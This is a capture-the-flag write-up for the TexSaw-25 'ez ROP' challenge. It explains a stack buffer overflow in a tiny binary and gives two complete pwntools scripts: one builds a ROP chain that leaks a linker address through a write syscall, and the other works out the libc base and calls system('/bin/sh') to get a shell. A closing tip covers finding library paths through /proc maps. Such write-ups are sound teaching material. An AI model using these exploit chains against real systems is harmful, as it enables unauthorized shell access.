Published on

TexSaw-25 - PWN - ez ROP

Authors

Challenge Description

I wasn't able to solve this challenge during ctf because when I joined it only 2 hours were left. 🫠

chal-img

Solution

Binary Protections (Only NX is enabled plus partial RELRO):

Protections

Disassembly of main:

easy_rop
pwndbg> disassemble main
Dump of assembler code for function main:
    0x0000000000401106 <+0>:     push   rbp
    0x0000000000401107 <+1>:     mov    rbp,rsp
    0x000000000040110a <+4>:     lea    rcx,[rbp-0x20]
    0x000000000040110e <+8>:     mov    rax,0x0
    0x0000000000401115 <+15>:    mov    rdi,0x0
    0x000000000040111c <+22>:    mov    rsi,rcx
    0x000000000040111f <+25>:    mov    rdx,0x80
    0x0000000000401126 <+32>:    syscall
    0x0000000000401128 <+34>:    pop    rbp
    0x0000000000401129 <+35>:    ret

This code sets up a buffer at [rbp-0x20] and uses the syscall instruction to read up to 0x80 (128) bytes from file descriptor 0 (stdin) into that buffer. However, the buffer is only 32 bytes (0x20) in size, so reading 128 bytes leads to a stack-based buffer overflow.

If you look closely, it intially sets rax to 0 and then performs syscall i.e., read syscall. As we know, read syscall returns number of bytes (that it read) into rax after its syscall. So, what we can do is trigger a write syscall to leak memory off the stack (hoping to get a linker/stack leak).

CAUTION

Remember to patch binary with libc and linker from the Dockerfile provided to us.

#!/usr/bin/env python3

from pwn import *
context.terminal = ["tmux", "splitw", "-h"]

elf = context.binary = ELF("./easy_rop_patched")
io = remote(sys.argv[1], int(sys.argv[2])) if args.REMOTE else process()#, aslr=True)
libc = ELF("libc.so.6")
gdb.attach(io, '''
    b *0x0000000000401126
''') if args.GDB else None

OFFSET = 40
# 0x000000000040112e : pop rdi ; pop rbp ; ret
POP_RDI_RBP_RET = 0x000000000040112e
SYSCALL = 0x0000000000401126

payload = flat(
    cyclic(OFFSET),
    elf.sym.main,       # setting rax = 1 for write syscall
    POP_RDI_RBP_RET,
    1,                  # RDI = 1 (stdout)
    0,                  # RBP = 0
    SYSCALL,            # write(stdout, stack_value, 0x80)   <- rdx is already set 0x80
    0,                  # for rbp after the syscall in main
    elf.sym.main,       # going back to main after getting leaks
)

io.send(payload)
sleep(1)            # short delay before sending the 1 byte to trigger write syscall
io.send(b"A")       # 1 byte to trigger write syscall

io.interactive()

Here in the leaks, we can see a 0x7f byte (probably a linker leak):

leaks

Lets check what leak it is after unpacking it:

code-to-unpack
io.recv(112)
leak = u64(io.recv(8))
log.info("LEAK:- %#x" % leak)

Its a linker leak with an offset of 0x32020 from its base:

linker-leak

Now from linker leak, we can calculate the base address of libc as they are both at the same offset from each other:

calculating-libc-base

Now that we know the libc base, it's a simple ROP from here:

payload.py
#!/usr/bin/env python3

from pwn import *
context.terminal = ["tmux", "splitw", "-h"]

elf = context.binary = ELF("./easy_rop_patched")
io = remote(sys.argv[1], int(sys.argv[2])) if args.REMOTE else process()#, aslr=True)
libc = ELF("libc.so.6")
gdb.attach(io, '''
    # b *0x0000000000401126
''') if args.GDB else None

OFFSET = 40
# 0x000000000040112e : pop rdi ; pop rbp ; ret
POP_RDI_RBP_RET = 0x000000000040112e
SYSCALL = 0x0000000000401126

payload = flat(
    cyclic(OFFSET),
    elf.sym.main,       # setting rax = 1 for write syscall
    POP_RDI_RBP_RET,
    1,                  # RDI = 1 (stdout)
    0,                  # RBP = 0
    SYSCALL,            # write(stdout, stack_value, 0x80)   <- rdx is already set 0x80
    0,                  # for rbp after the syscall in main
    elf.sym.main,       # going back to main after getting leaks
)

io.send(payload)
sleep(1)            # short delay before sending the 1 byte to trigger write syscall
io.send(b"A")       # 1 byte to trigger write syscall

io.recv(112)
leak = u64(io.recv(8))
log.info("LEAK:- %#x" % leak)

libc.address = leak - 0x215020
log.info("LIBC BASE:- %#x" % libc.address)

# ROPgadget --binary libc.so.6  | grep "pop rdi"
# 0x0000000000027725 : pop rdi ; ret
POP_RDI = libc.address + 0x0027725
BIN_SH = next(libc.search(b"/bin/sh\x00"))

payload = flat(
    cyclic(OFFSET),
    POP_RDI,
    BIN_SH,
    libc.sym.system,
)

io.send(payload)
io.interactive()
shell

Tip

How to get libc and linker path in a docker container where file, ldd etc commands doesn't exist. First run the binary in background:

/srv/app # ./run &
/srv/app #
[1]+  Stopped (tty input)        ./run

Now find PID of the binary process:

/srv/app # # Find its PID
/srv/app # pidof run
28

Now with the number, do cat /proc/<no>/maps and you will get the paths like this:

/srv/app # cat /proc/28/maps | grep libc
7fbe68337000-7fbe6835d000 r--p 00000000 08:40 62793064                   /lib/libc.so.6
7fbe6835d000-7fbe684b2000 r-xp 00026000 08:40 62793064                   /lib/libc.so.6
7fbe684b2000-7fbe68505000 r--p 0017b000 08:40 62793064                   /lib/libc.so.6
7fbe68505000-7fbe68509000 r--p 001ce000 08:40 62793064                   /lib/libc.so.6
7fbe68509000-7fbe6850b000 rw-p 001d2000 08:40 62793064                   /lib/libc.so.6